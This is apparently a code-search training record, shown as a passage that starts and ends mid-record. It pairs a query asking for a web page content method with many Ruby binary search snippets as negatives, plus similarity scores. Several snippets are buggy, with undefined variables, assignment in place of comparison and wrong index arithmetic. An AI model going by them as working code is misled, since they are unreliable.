target)\n end\n end\nend", "def bi_search(search_array, search_value, low = 0, high = nil)\n high ||= search_array.length - 1\n middle = ((low + high) / 2).ceil\n if low > high\n return -1\n elsif search_value == search_array[middle]\n return middle\n elsif search_value < search_array[middle]\n high = middle - 1\n elsif search_value > search_array[middle]\n low = middle + 1\n end\n bi_search(search_array, search_value, low = low, high = high)\nend", "def b_search(arr, target)\n return false if arr.empty?\n mid = arr / 2\n if arr[mid] == target\n true\n elsif arr[mid] < target\n b_search(arr[mid..-1], target)\n else\n b_search(arr[0...mid], target)\n end\nend", "def bsearch(array, target)\n middle_idx = array.length / 2\n middle = array[middle_idx]\n\n return middle_idx if target == middle\n return nil if array.length == 1\n if target < middle\n return bsearch(array[0...middle_idx], target)\n elsif target > middle\n b_searched = bsearch(array[middle_idx..-1], target)\n if b_searched == nil\n return nil\n else\n return middle_idx + b_searched\n end\n end\nend", "def bsearch(arr, num)\n return nil if !arr.include?(num)\n\n mid_idx = arr.length / 2\n if arr[mid_idx] == num\n return mid_idx\n elsif arr[mid_idx] > num\n lower_half = arr[0...mid_idx]\n bsearch(lower_half, num)\n else\n upper_half = arr[(mid_idx + 1)..-1]\n bsearch(upper_half, num)\n end\n\nend", "def bsearch(array, target)\n mid_idx = array.length / 2\n if array[mid_idx] == target\n mid_idx\n elsif array.length == 1\n nil\n elsif array[mid_idx] > target\n bsearch(array[0...mid_idx], target)\n elsif array[mid_idx] < target\n after_mid_idx = mid_idx + 1\n recursion = bsearch(array[after_mid_idx..-1], target)\n recursion.nil? ? nil : after_mid_idx + recursion\n end\nend", "def bsearch(nums, target)\n return nil if nums.empty?\n\n probe_index = nums.length / 2\n case target <=> nums[probe_index]\n when -1\n bsearch(nums.take(probe_index), target)\n when 0\n probe_index\n when 1\n\n sub_answer = bsearch(nums.drop(probe_index + 1), target)\n (sub_answer.nil?) ? nil : (probe_index + 1) + sub_answer\n end\n\nend", "def bsearch(arr, target)\n return nil if arr.length <= 1\n\n mid = arr.length / 2\n case target <=> arr[mid]\n when -1\n bsearch(arr[0..mid], target)\n when 0\n mid\n when 1\n bsearch(arr[mid..-1], target)\n end\nend", "def bsearch(arr,target)\r\n return nil if arr.length == 0 \r\n midIdx = arr.length/2\r\n mid = arr[midIdx] \r\n if mid > target #left half\r\n bsearch(arr[0...midIdx],target)\r\n elsif mid < target #right half\r\n\r\n idx = bsearch(arr[midIdx+1..-1],target)\r\n if idx \r\n idx + arr[0..midIdx].length\r\n else\r\n return nil\r\n end\r\n \r\n else\r\n return midIdx\r\n end\r\n\r\nend", "def bsearch(arr, target)\n if arr.length < 1 # empty array, returns nil\n return nil\n end\n \n # multiple elements, grab middle and compare\n middle_index = arr.length / 2\n middle_element = arr[middle_index]\n case target <=> middle_element\n when -1 # target smaller, check left half\n new_arr = arr[0...middle_index]\n bsearch(new_arr, target)\n when 1\n new_arr = arr[middle_index+1..-1]\n answer = bsearch(new_arr, target)\n return nil if answer.nil?\n answer + middle_index + 1\n when 0\n return middle_index\n end\nend", "def bsearch(array, target)\n return nil if array == []\n\n mid_idx = array.length / 2\n\n case array[mid_idx] <=> target\n when -1\n right_idx = bsearch(array[mid_idx+1..-1], target)\n mid_idx + right_idx + 1 unless right_idx == nil\n when 0\n mid_idx\n when 1\n bsearch(array[0...mid_idx], target)\n end\nend", "def bsearch(arr,target)\n# p arr\nreturn nil if arr.length==1 && target != arr[0]\nmid =arr.length/2 # 3,1,1,0\n# if arr.length==1 && arr[0] != target\n# return nil\n# end\n\n\nif target==arr[mid]\n\nreturn mid\nelsif target<arr[mid]\n left_index = 0\n right_index = mid-1\n return bsearch(arr[left_index..right_index],target)\n# return bsearch(arr.take(mid),target)\nelse\n left_index = mid+1\n right_index = arr.length-1\n sub_position=bsearch(arr[left_index..right_index],target)\n # sub_position=bsearch(arr.drop(mid+1),target)\n return sub_position.nil? ? nil : (mid+1)+sub_position \n\nend\nend", "def bsearch(arr, item)\n middle = arr.count / 2\n return true if arr[middle] == item\n return false if arr.count < 2\n\n (item < arr[middle]) ? bsearch(arr[0...middle], item) : bsearch(arr[middle..-1], item)\nend", "def bsearch(array, target)\n return nil if array.empty?\n\n middle_idx = array.length / 2\n if array[middle_idx] == target\n return middle_idx\n elsif array[middle_idx] > target\n bsearch(array[0...middle_idx], target)\n else\n result = bsearch(array[(middle_idx+1)..-1], target)\n if result.is_a?(Fixnum)\n result + middle_idx + 1\n else\n nil\n end\n end\nend", "def bsearch(array, target)\nend", "def bsearch(array, target)\n return nil if array.length <= 1 && array[0] != target\n\n mid_idx = (array.length - 1) / 2\n if array[mid_idx] == target\n mid_idx\n elsif array[mid_idx] < target\n response = bsearch(array[(mid_idx + 1)..-1], target)\n response.nil? ? nil : response + mid_idx + 1\n else\n bsearch(array[0...mid_idx], target)\n end\nend", "def bin_search(arr, key)\n low = 0\n high = arr.length - 1\n while high >= low do\n mid = low + (high - low) / 2\n if arr[mid] > key\n high = mid - 1\n elsif arr[mid] < key\n low = mid + 1\n else\n return mid\n end\n end\n return 0\nend", "def bsearch(arr, val, start=0, to=nil)\n if to.nil?\n to = arr.size() -1\n end\n\n if start > to\n return -1\n end\n\n mid = (start+to) / 2\n\n # search for pivot on the left\n if arr[mid] > val\n bsearch(arr,val,start,mid-1)\n elsif arr[mid] < val\n # seach on right\n bsearch(arr,val,mid+1,to)\n else\n # found value\n return mid\n end\nend", "def bsearch(array, value)\n return nil if array.empty?\n # return nil if !array.include?(value)\n\n # debugger\n indeces = array.dup.freeze #[1, 2, 3]\n \n middle = (array.length) / 2\n left = array[(0...middle)]\n right = array[(middle..-1)]\n\n # debugger\n if array[middle] == value\n return indeces.index(value) \n elsif value < array[middle]\n bsearch(left, value)\n else\n middle + bsearch(right, value)\n end\n #somewhere bsearch(array[(0..-2)]\nend", "def bsearch(array, target)\n return nil if array.length == 1 && array.first != target\n return 0 if array.length == 1\n\n guess = array.length / 2\n left = array.take(guess)\n right = array.drop(guess)\n\n if target < array[guess]\n bsearch(left, target)\n else\n right_search = bsearch(right, target)\n right_search.nil? ? nil : guess + right_search\n end\nend", "def bsearch(nums, target)\n # nil if not found; can't find anything in an empty array\n return nil if nums.empty?\n \n probe_index = nums.length / 2\n case target <=> nums[probe_index]\n when -1\n # search in left\n bsearch(nums.take(probe_index), target)\n when 0\n probe_index # found it!\n when 1\n # search in the right; don't forget that the right subarray starts\n # at `probe_index + 1`, so we need to offset by that amount.\n sub_answer = bsearch(nums.drop(probe_index + 1), target)\n sub_answer.nil? ? nil : (probe_index + 1) + sub_answer\n end\n \n # Note that the array size is always decreasing through each\n # recursive call, so we'll either find the item, or eventually end\n # up with an empty array.\n end", "def bsearch(nums, target)\n # nil if not found; can't find anything in an empty array\n return nil if nums.empty?\n \n probe_index = nums.length / 2\n case target <=> nums[probe_index]\n when -1\n # search in left\n bsearch(nums.take(probe_index), target)\n when 0\n probe_index # found it!\n when 1\n # search in the right; don't forget that the right subarray starts\n # at `probe_index + 1`, so we need to offset by that amount.\n sub_answer = bsearch(nums.drop(probe_index + 1), target)\n sub_answer.nil? ? nil : (probe_index + 1) + sub_answer\n end\n \n # Note that the array size is always decreasing through each\n # recursive call, so we'll either find the item, or eventually end\n # up with an empty array.\n end", "def bsearch(array, target)\n bsearch_subs(array, target, 0, array.length - 1)\nend", "def okay_two_sum?(arr, target)\n arr = arr.sort #n log n\n (0...arr.length).each do |i| #n\n search = bsearch(arr, target-arr[i]) # log n\n return true unless search.nil?\n end #n log n\n false\nend", "def binarySearch(a, value)\n # Precondition: lst must be sorted asc (smaller first).\n\n # Searching boundaries (all vector)\n p = 0 # left limit (inclusive)\n r = a.length - 1 # right limit (inclusive)\n\n # Optimization\n # Asses that value may actually be in the array: Array range is a[0]..a[-1]\n # Array must be not empty\n if r < 0 or value < a[p] or value > a[r] then\n return nil # nil inplace of -1 to match ruby std\n end\n\n while p <= r do\n q = (p+r)/2\n if a[q] == value\n return q\n end\n if a[q] > value\n # then value is in a[p]...a[q]\n r = q-1\n else\n # then value is in a[q]...a[r]\n p = q+1\n end\n end\n\n return nil # nil inplace of -1 to match ruby std\nend", "def okay_two_sum?(arr,target)\n ans = arr.sort #O(nlogn)\n\n ans.each do |ele|\n temp = ans.shift\n dif = target-temp\n return true if bsearch(arr,dif) == true\n end\n false\nend", "def okay_two_sum?(arr, target_sum) #bsearch = log n => n * log n\n sorted_arr = arr.sort #.sort => n * log n\n sorted_arr.each_index do |i|\n j = sorted_arr.bsearch_index { |n| n + sorted_arr[i] == target_sum }\n return true if !j.nil? && j != i\n end\n false\nend", "def bsearch(a,s,m,n)\n\n\tmiddle=(m+n)/2\n\n\tif n<=m then\n\treturn (s > a[m])? (m + 1): m\n\t\n\n\telsif s==a[middle] \n\treturn middle+1\n\n\telsif s>a[middle] \n\treturn bsearch(a,s,middle+1,n)\n\t\t\n\t\n\telse\n\treturn bsearch(a,s,m,middle-1)\n\t\n\tend\n\tend", "def rec_bin_search(array, target)\n return nil if array.length == 0\n\n midpoint = array.length / 2\n\n return midpoint if array[midpoint] == target\n\n if target < array[midpoint]\n rec_bin_search(array.take(midpoint), target)\n else\n top = rec_bin_search(array.drop(midpoint + 1), target)\n top == nil ? nil : top + (midpoint + 1)\n end\nend", "def binary_search(arr, value)\n\treturn [-1,0] if arr.length == 0\n\ttimes = 0\n\tmidpoint = arr.length / 2\n\tworstCaseTime = Math.log2(arr.length).floor\n\twhile times <= worstCaseTime do\n\t\ttimes += 1\n\t\tif arr[midpoint] == value\n\t\t\treturn [midpoint,times]\n\t\telsif arr[midpoint] > value\n\t\t\tmidpoint = midpoint/2\n\t\telsif arr[midpoint] < value\n\t\t\tmidpoint = (arr.length - midpoint)/2 + midpoint\n\t\tend\n\tend\n\treturn [arr.index(value),times]\nend", "def cass_bsearch(array, target)\n return nil if array.empty?\n mid_idx = array.length / 2\n return mid_idx if array[mid_idx] == target\n # debugger\n # idx_array = (0..array.length).to_a\n array_left = array[0...mid_idx]\n array_right = array[(mid_idx + 1)..-1]\n # if array[mid_idx] == target\n if array[mid_idx] > target\n cass_bsearch(array_left, target)\n else\n search_results = cass_bsearch(array_right, target)\n search_results.nil? ? nil : search_results + mid_idx + 1\n #need to make sure this isn't nil\n #add mid_idx because you have to account for everything on the left\n #add 1 to account for the fact that indexing starts at 0 not 1\n end\nend", "def bsearch(array, target)\n mid_idx = (array.length/2) # 2\n median = array[mid_idx] # 4\n left_array = array[0..(mid_idx - 1)]\n right_array = array[(mid_idx + 1)..-1]\n\n return mid_idx if median == target\n return nil if array.length <= 1\n\n if median < target\n result = bsearch(right_array,target)\n return nil if result.nil?\n (mid_idx + 1) + bsearch(right_array,target)\n elsif median > target\n bsearch(left_array,target)\n\n end\nend", "def bsearch(array, target)\n return nil if arr.empty?\n\n mid_idx = array.length / 2\n lower_half = array[0...mid_idx] \n upper_half = array[mid_idx + 1..-1]\n\n return mid_idx if array[mid_idx] == target\n\n if target < array[mid_idx]\n bsearch(lower_half, target)\n else\n result = bsearch(upper_half, target)\n \n if result.nil?\n return nil # return nil to indicate target is not in the array\n else\n lower_half.length + 1 + result\n# ^ will return index, but from upper half\n\n\n# [10,21,34,89,100, 110, 150]\n# + length of lower_half + 1 ^ 2\n# target is 100\n end\n end\nend", "def fast\n ARRAY.bsearch { |num| num > 80_000_000 }\nend", "def binary_search(arr, val, strategy='rec')\n if strategy != 'rec'\n search(arr, val)\n else\n rec_search(arr, val, 0, arr.size - 1)\n end\nend", "def binary_search(arr,tar)\n return nil if arr.length < 1\n mid_idx = arr.length / 2\n if arr[mid_idx] == tar\n return mid_idx\n elsif arr[mid_idx] > tar\n binary_search(arr[0...mid_idx],tar)\n elsif arr[mid_idx] < tar\n subanswer = binary_search(arr[mid_idx+1..-1],tar)\n subanswer.nil? ? nil : (mid_idx+1) + subanswer\n end\nend", "def binary_search(arr, target)\n return nil if arr.empty?\n probe_index = arr.size / 2\n probe_ele = arr[probe_index]\n\n case probe_ele <=> target\n when 1\n left_arr = arr.take(probe_index) \n return binary_search(left_arr,target)\n when 0 \n return probe_index\n when -1\n compensated_index = (probe_index + 1)\n right_arr = arr.drop(compensated_index)\n return nil if binary_search(right_arr,target).nil?\n return binary_search(right_arr,target) + compensated_index\n end\nend", "def sort_two_sum?(arr, target_sum)\n sorted_arr = arr.sort # O(nlogn)\n\n arr.each_with_index do |el, idx|\n bsearch_index = binary_search(arr, target_sum - el)\n return true unless bsearch_index.nil? || bsearch_index == idx\n end\n false\nend", "def okay_two_sum?(arr, target)\n sorted = arr.sort # n log n => quicksort => is nlogn DOMINANT\n sorted.each_with_index do |num, i| # => O(n)\n # return true if sorted[i] + sorted[-1 - i] == target\n return true if sorted[i + 1 .. - 1].bsearch {|number| target - num <=> number} # => O(log(n))\n # ASK TA ABOUT BSEARCH\n # bsearch {|ele| pivot <=> ele}\n end\n false\nend", "def binary_search(a, key)\n# At every step, consider the array between low and high indices\n# Define initial low and high indices \n low = 0\n high = a.length - 1\n\n\n# If low value is less or equal to high value, calculate the mid index.\n while low <= high\n mid = low + ((high - low) / 2)\n\n# If the element at the mid index is the key, return mid.\n if a[mid] == key\n return mid\n end\n\n# If the element at mid is greater than the key, then change the index high to mid - 1.\n# The index at low remains the same.\n if key < a[mid]\n high = mid - 1\n\n# If the element at mid is less than the key, then change low to mid + 1. The index at high remains the same.\n else\n low = mid + 1\n end\n end\n\n# Through interations, the low indice will be larger than the high indice if the key doesn’t exist, so -1 is returned.\n return -1\nend", "def binary_search(array, target)\n lower_bound = 0\n upper_bound array.length - 1\n while lower_bound <= upper_boud do\n midpoint = (upper_bound + lower_bound) / 2\n value_at_midpoint = array[midpoint]\n if target == value_at_midpoint\n return midpoint\n elsif target < value_at_midpoint\n upper_bound = midpoint - 1\n elsif target > value_at_midpoint\n lower_bound = midpoint + 1\n end\n end\n return nil\nend", "def bin_search(d, arr)\n middle = arr.length / 2\n i = 0\n j = arr.length - 1\n \n while i < j\n if arr[middle] == d\n return true\n elsif arr[middle] < d\n i = middle + 1\n middle = i + j / 2\n else\n j = middle - 1\n middle = i + j / 2\n end\n end\n return false\nend", "def bsearch(array, target)\n mid_point = array.length / 2\n\n return mid_point if target == array[mid_point]\n return nil if array.length == 1\n\n left_hand = array[0...mid_point]\n right_hand = array[mid_point..-1]\n\n if target < array[mid_point]\n bsearch(left_hand, target)\n else\n result = bsearch(right_hand, target)\n return nil if result.nil?\n mid_point + result\n end\n\nend", "def binary_search(numbers, element)\n min = 0\n max = numbers.size - 1\n\n index = nil\n\n while index.nil? do\n middle_element_index = (min + max) / 2 # Every iteration (N / 2) = O(log n)\n middle_element = numbers[middle_element_index] \n \n if element < middle_element\n max = middle_element_index\n elsif element > middle_element\n min = middle_element_index\n elsif element == middle_element\n index = middle_element_index\n end\n end\n\n index\nend", "def binary_search(array, target)\n temp = array.sort\n middle = temp.length / 2\n first = 0\n last = temp.length - 1\n while first < last\n if temp[middle] == target\n return middle\n elsif temp[middle] < target\n first = middle + 1\n middle = (first + last) / 2\n else\n last = middle - 1\n middle = (first + last) / 2\n end\n end\n return -1\nend", "def bin_search(target,array)\n lo = 0\n hi = array.length - 1\n mid = (lo+hi)/2\n while lo <= hi\n if array[mid] > target\n hi = mid-1\n mid = (lo+hi)/2\n elsif array[mid] < target\n lo = mid+1\n mid = (lo+hi)/2\n else\n return mid\n end\n end\n return -1\nend", "def binary_search(key,array)\n\tlow = 0\n\thigh = array.sort.length - 1\n\treturn -1 if low>high\n\tmid = (low+high)/2\n\treturn mid if array[mid]==key\n\t\tif array[mid]>key\n\t\t\thigh=mid-1\n\t\t\tmid=(low+high)/2\n\t\telse\n\t\t\tlow=mid+1\n\t\t\tmid=(low+high)/2\n\t\tend\nend", "def do_search(target_value, array)\n min = 0\n max = array.length - 1\n\n binary_search(target_value, array, min, max)\nend", "def ary_bsearch_i(ary, value)\n low = 0\n high = ary.length\n mid = nil\n smaller = false\n satisfied = false\n v = nil\n\n while low < high do\n mid = low + ((high - low) / 2)\n v = (ary[mid] > value)\n if v == true\n satisfied = true\n smaller = true\n elsif !v\n smaller = false\n else\n raise TypeError, \"wrong argument, must be boolean or nil, got '#{v.class}'\"\n end\n\n if smaller\n high = mid\n else\n low = mid + 1;\n end\n end\n\n return nil if low == ary.length\n return nil if !satisfied\n return low\n end", "def binary_search(arr, target)\n return nil if !arr.include?(target)\n middle_ele = arr[arr.length / 2]\n middle_idx = arr.length / 2\n if target == middle_ele\n return middle_idx\n elsif target > middle_ele\n binary_search(arr[middle_idx+1..-1], target) + arr[0..middle_idx].length\n else\n binary_search(arr[0...middle_idx], target)\n end\nend", "def bisect(arr, key)\n arr.each_index do |i|\n return i if key < arr[i]\n end\n\n return arr.length\n end", "def binary_search(arr, key)\n low = 0\n high = arr.length - 1\n\n while low <= high\n mid = low + (high - low) / 2\n\n return mid if arr[mid] == key\n\n arr[mid] > key ? high = mid - 1 : low = mid + 1\n end\n\n return -1\nend", "def sorted_two_sum(arr, target_sum)\n arr.sort!\n arr.each do |ele|\n bsearch_target = target_sum - ele\n return true if bsearch(arr, bsearch_target)\n end\n false\nend", "def sorted_two_sum?(arr, target)\r\n sorted = arr.sort\r\n sorted.each_with_index do |ele, i|\r\n return true if bsearch(sorted[i+1..-1], target - ele)\r\n end\r\n false\r\nend", "def binary_search(arr, target)\n binary_search_helper(arr, target, 0, arr.length - 1)\nend", "def binary_search(array, length, value_to_find)\n low_index = 0\n high_index = length - 1\n search_position = (low_index + length / 2)\n found = false\n ((Math.log2(length).to_i) + 1).times do #Adds 1 to account for lengths where the actual log2 is a decimal number.\n unless found == true\n if array[search_position] == value_to_find\n found = true\n return found\n elsif array[search_position] < value_to_find\n low_index = search_position\n search_position = (low_index + (high_index + 1)) / 2\n elsif array[search_position] > value_to_find\n high_index = search_position\n search_position = (low_index + high_index) / 2\n end\n end\n end\n return found\nend", "def binary_search(arr, target, idx_puls = 0)\n mid = arr.length / 2\n return mid + idx_puls if arr[mid] == target\n return nil if arr.length == 1\n\n if arr[mid] < target\n binary_search(arr[(mid + 1)..-1], target, mid + 1)\n else\n binary_search(arr[0...mid], target, idx_puls)\n end\n\nend", "def okay_two_sum?(arr, target_sum) # worst case O(N^2), average case O(n log n)\n sorted = arr.sort\n\n arr2 = []\n sorted.each do |num|\n arr2 << target_sum - num\n end\n\n arr2.each_with_index do |num, i| # O(n log n)\n result = sorted.bsearch { |x| x == num }\n if sorted.index(num) == i\n next\n end\n return true if result\n end\n\n false\nend", "def binary_search(array, target)\n lower_bound = 0\n upper_bound = array.length - 1\n while lower_bound <= upper_bound\n midpoint = (lower_bound + upper_bound) / 2\n value_at_midpoint = array[midpoint]\n if target = value_at_midpoint\n return midpoint\n elsif target > value_at_midpoint\n lower_bound = midpoint + 1\n elsif target < value_at_midpoint\n upper_bound = midpoint - 1\n end\n end\n return nil\nend", "def binary_search(ary, value); end", "def binary_search(arr, item)\n #assign parts of the array by beginning and end\n\n #Envoy of the beginning\n left = 0\n #Envoy of the End\n right = arr.length - 1\n\n # while the item is not found\n # (since you are converging from the changing range, high to low)\n while left <= right\n #set a mid point to be used in the middle of any range created by high & low\n mid = (left + right) / 2\n\n if arr[mid] == item\n return mid\n end\n\n if arr[mid] > item\n right = mid - 1\n else\n left = mid + 1\n end\n end\n\n return nil\n\nend", "def linear_search(sorted_array, desired_item)\n index = 0\n sorted_array.length.times do \n if desired_item == sorted_array[index]\n break \n else \n index += 1\n end\n if index > sorted_array.length - 1\n index = nil \n end\n end\n return index \nend", "def binary_search(target, array)\r\n\t#Your code here\r\n\tindex = array.length / 2\r\n\tlo = 0\r\n\thi = array.length - 1\r\n\twhile array[index] != target && array.include?(target)\r\n\t\tif array[index] > target\r\n\t\t\thi = index - 1\r\n\t\t index = (lo + hi) / 2\r\n\t\telsif array[index] < target\r\n\t\t\tlo = index + 1\r\n\t\t\tindex = (lo + hi) / 2\r\n\t\tend\r\n\tend\r\n\tif array[index] == target\r\n\t\treturn index\r\n\telse\r\n\t\treturn -1\r\n\tend \r\nend", "def binary_search(arr, target)\n new_arr = arr\n return nil if arr.empty? \n middle = (arr.length - 1) / 2\n if arr[middle] > target\n binary_search(arr[0...middle], target)\n elsif arr[middle] < target \n if binary_search(arr[middle+1..-1], target).nil?\n return nil\n else\n binary_search(arr[middle+1..-1], target) + middle + 1\n end \n elsif target == arr[middle]\n return new_arr.index(arr[middle])\n else\n return nil\n end\nend", "def binary_search(array, length, value_to_find)\n high = length\n low = 0\n length.times do\n guess = (low + high) / 2\n return true if array[guess] == value_to_find\n return false if high - low <= 1\n array[guess] < value_to_find ? low = guess : high = guess\n end\nend", "def binary_search(array, key)\n low, high = 0, array.length - 1\n while low <= high\n mid = (low + high) >> 1\n case key <=> array[mid] # if key < array[mid] then return -1 if key = array[mid] then 0 else return 1\n\t when 1\n low = mid + 1\n when -1\n high = mid - 1\n else\n return mid\n end\n end\nend", "def iter_bindex(array, element)\n\tupper = array.size\n\tlower = 0\n\twhile upper >= lower\n\t\tmid = (upper + lower) /2\n\t\tif array[mid] < element\n\t\t\tlower = mid + 1\n\t\telsif array[mid] > element\n\t\t\tupper = mid -1\n\t\telse \n\t\t\treturn mid\n\t\tend\n\tend\n\treturn nil\nend", "def binary_search(a, key)\n low = 0\n high = a.length - 1\n\n while low <= high\n mid = low + ((high - low) / 2)\n\n return mid if a[mid] == key\n\n if key < a[mid]\n high = mid - 1\n else\n low = mid + 1\n end\n end\n\n return -1\nend", "def binary_search_rec(a, key, low, high)\n# At every step, consider the array between low and high indices\n# When low is greater than high, the key doesn’t exist and -1 is returned.\n if low > high\n return -1\n end\n\n\n# Calculate the mid index.\n mid = low + ((high - low) / 2)\n\n# If the element at the mid index is the key, return mid.\n if a[mid] == key\n return mid\n\n# If the element at mid is greater than the key, then change the index high to mid - 1.\n# The index at low remains the same.\n elsif key < a[mid]\n return binary_search_rec(a, key, low, mid - 1)\n else\n# If the element at mid is less than the key, then change low to mid + 1. The index at high remains the same.\n return binary_search_rec(a, key, mid + 1, high)\n end\nend", "def binary_search(arr, target)\n if arr.length == 1\n return nil if arr[0] != target\n end\n mid = arr.length / 2\n if target == arr[mid]\n return mid\n elsif target > arr[mid]\n if binary_search(arr[mid..arr.length], target) == nil\n return nil\n else\n return binary_search(arr[mid..arr.length], target) + arr.length / 2\n end\n else\n binary_search(arr[0..mid-1], target)\n end\nend", "def binary_search(array, value, from=0, to=nil)\n to = array.count - 1 unless to\n mid = (from + to) / 2\n \n if value < array[mid]\n return binary_search(array, value, from, mid - 1)\n elsif value > array[mid]\n return binary_search(array, value, mid + 1, to)\n else\n return mid\n end\nend", "def binary_search(array, key, low=0, high=array.size-1) \n return -1 if low > high \n mid = (low + high) / 2 \n return mid if array[mid]==key \n if array[mid] > key \n high = mid - 1 \n else \n low = mid + 1 \n end \n binary_search(array, key, low, high) \nend", "def bsearch(a, k)\r\n lower = 0\r\n upper = a.length-1\r\n\r\n while lower + 1< upper\r\n temp1 = a[upper][0]*37 - a[lower][0]*37 + a[upper][1] - a[lower][1]\r\n temp2 = k[0]*37 + k[1] - a[lower][0]*37 - a[lower][1]\r\n mid = 0\r\n\r\n if (temp2!=0 && temp1!=0)\r\n # Use interpolation search for the first two characters if the \"lower\" two characters\r\n # isn't coincident with the \"upper\" first two characters or the \"mid\" first two characters\r\n mid = lower + temp2 * (upper - lower) / temp1\r\n else\r\n mid = (lower+upper)/2\r\n end\r\n\r\n if k < a[mid]\r\n upper = mid\r\n else\r\n lower = mid\r\n end\r\n end\r\n\r\n if k != a[lower]\r\n return nil\r\n else\r\n return lower\r\n end\r\nend", "def ok_two_sum?(arr, target)\n sorted = arr.sort\n mid = sorted.length / 2\n left = sorted[0...mid]\n right = sorted[mid+1..-1]\n sorted.each do |ele|\n new_target = target - ele\n if ele + sorted[mid] < target\n if bsearch(right, new_target)\n return true\n end\n else\n if bsearch(left, new_target)\n return true\n end\n end\n end\n false\nend", "def ubiquitous_binary_search(a,key) # a is the array and key is the value we want to search\n lo= 0\n hi = a.length-1\n \n while(hi-lo>1)\n mid = lo + (hi-lo)/2\n \n if a[mid]<=key\n lo=mid\n else\n hi=mid\n end\n end\n \n if (a[lo]== key)\n return lo\n elsif (a[hi]== key)\n return hi\n else\n return \"value not found\"\n end\nend", "def okay_two_sum?(arr, target_sum)\n sorted_arr = merge_sort(arr) # O(n * log(n))\n\n sorted_arr.each.with_index do |ele, i| # O(n * log(n))\n diff = target_sum - ele\n next if diff == ele\n return true if !sorted_arr.my_bsearch(diff).nil?\n end\n\n false\nend", "def binary_search(array, target)\n return nil if array.empty?\n\n middle_idx = array.length/2\n\n case target <=> array[middle_idx]\n\n when -1\n binary_search(array.take(middle_idx), target)\n when 0\n return middle_idx\n when 1\n binary_search(array[middle_idx..-1], target)\n end\n\nend", "def binary_search(arr, target)\n mid = arr.length / 2\n left = arr.slice(0, mid)\n right = arr.slice(mid, arr.length)\n if arr.length < 2\n return arr.first == target\n elsif left.last >= target\n return binary_search(left, target)\n elsif right.last >= target\n return binary_search(right, target)\n else\n false\n end\nend", "def binary_search(array, length, value_to_find)\n raise NotImplementedError\nend", "def bin_search(x, a, b)\r\n mid = (a + b) / 2\r\n sq = mid ** 2\r\n \r\n if a == b || sq == x\r\n mid\r\n elsif sq > x\r\n bin_search(x, a, mid - 1)\r\n else\r\n (mid + 1) ** 2 > x ? mid : bin_search(x, mid + 1, b)\r\n end\r\nend", "def binary_search(arr, element)\n low = 0\n high = arr.length - 1\n\n while low <= high\n mid = (low + high) / 2\n guess = arr[mid]\n\n if guess > element\n high = mid - 1\n elsif guess < element\n low = mid + 1\n else\n return mid\n end\n end\n\n nil\nend", "def bsearch_pivot_opt(arr, val, start=0, to=nil)\n to= arr.size() -1 if to.nil?\n\n if to>=start\n return -1\n end\n\n mid = (start+to) / 2\n\n if val == arr[mid]\n return mid\n end\n\n # if left side is sorted\n if(arr[start] <= arr[mid])\n if(val <= arr[mid] && val >= arr[start])\n return bsearch_pivot_opt(arr,val,start,mid-1)\n end\n return bsearch_pivot_opt(arr,val,mid+1,to)\n end\n\n # if left side is not sorted that means the right one is sorted because the pivot is in the left side\n # so i compare with the right side\n if(val >= arr[mid] && val <= arr[to])\n return bsearch_pivot_opt(arr,val,mid+1,to)\n end\n\n return bsearch_pivot_opt(arr,val,start,mid-1)\nend" ]
[ "0.7813408", "0.7728089", "0.7707415", "0.76868755", "0.7679345", "0.7669797", "0.76643616", "0.7652391", "0.7643138", "0.7621919", "0.7607202", "0.76003534", "0.7597947", "0.75733525", "0.7522718", "0.7521333", "0.75145185", "0.7510915", "0.74886477", "0.7486463", "0.74839413", "0.747541", "0.74673754", "0.74655163", "0.7446074", "0.7428754", "0.7415975", "0.7414454", "0.74111277", "0.7410933", "0.7401401", "0.7382869", "0.73462903", "0.7331405", "0.73136836", "0.7298898", "0.72792226", "0.7277202", "0.72747964", "0.7224294", "0.7224294", "0.7220681", "0.7219403", "0.71858996", "0.71679425", "0.715113", "0.7145498", "0.71189594", "0.7093943", "0.70738244", "0.70718086", "0.70627105", "0.70499027", "0.70381933", "0.7023987", "0.7015555", "0.69997644", "0.69765186", "0.6966616", "0.6964739", "0.6958196", "0.6957992", "0.6953538", "0.69483495", "0.6914847", "0.69139856", "0.69030666", "0.68795145", "0.68784606", "0.6873064", "0.68716824", "0.68628967", "0.6848581", "0.6840543", "0.6835573", "0.6825874", "0.68228555", "0.6821477", "0.6797947", "0.6788271", "0.6786286", "0.67727625", "0.6756991", "0.67391974", "0.672609", "0.6717737", "0.6710429", "0.67044747", "0.67020893", "0.6694814", "0.6678402", "0.66454005", "0.6643722", "0.66428864", "0.66425943", "0.66371197", "0.6634425", "0.66246295", "0.6622752", "0.66216004", "0.6621553" ]
0.0
-1
Override this method with your web page content.
def body_content raise NotImplementedError end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def content; end", "def content; end", "def content; end", "def content; end", "def content; end", "def content; end", "def content; end", "def content; end", "def content; end", "def content; end", "def content; end", "def content; end", "def content; end", "def content; end", "def get_content()\n return super()\n end", "def render\n content\n end", "def body_content\n end", "def content\n end", "def content\n end", "def content\n end", "def content\n super\n @renderer = @widget.content\n div :id => 'doc3' do\n if @renderer.render? :header\n div :id => 'hd' do\n if @renderer.render? :top_line\n render_top_line\n end\n if @renderer.render? :title\n h1 @page_title || 'Missing :page_title'\n end \n end\n end\n div :id => 'bd' do\n render_body\n end\n if @renderer.render? :footer\n div :id => 'ft' do\n render_footer\n end\n end\n end\n end", "def content\n return @content if @content\n content, id = self.get_page_content\n content = master.render(content)\n Ruhoh::Converter.convert(content, id)\n end", "def page_source; end", "def render(_context)\n @browser_url = @attributes['url']\n render_header + render_contents + render_url + render_footer\n end", "def contents\n rendered_contents\n end", "def add_raw_content(data)\n @content = data\n if File.extname(self.href) =~ /x?html$/\n @content.force_encoding('utf-8')\n end\n guess_content_property\n self\n end", "def render\n content\n end", "def render\n content\n end", "def render\n content\n end", "def content\n page.formatted_data\n end", "def content\n raise \"Must be implemented.\" \n end", "def html_contents\n layout_contents\n end", "def inner_html(*args); end", "def inner_html(*args); end", "def set_page\n end", "def begin_page(arg = nil)\n @content << \"\"\n end", "def inner_html\n # This sets up the inner html for the to_html call\n end", "def content!\n @raw = nil # force to reload it\n self.content\n end", "def begin_page(arg = nil)\n @content << \"\"\n end", "def content\n\t\t@content\n\tend", "def page; self end", "def page_load; end", "def set_resource_content\n @page = Page.available.homepage.first!\n end", "def body\n @body ||= Page.convert_raw_to_html(raw_body)\n end", "def begin_page(arg = nil)\n @content << \"\"\n end", "def save_web_content\n begin\n body = Mechanize.new.get(self.discussion).body\n url_body = 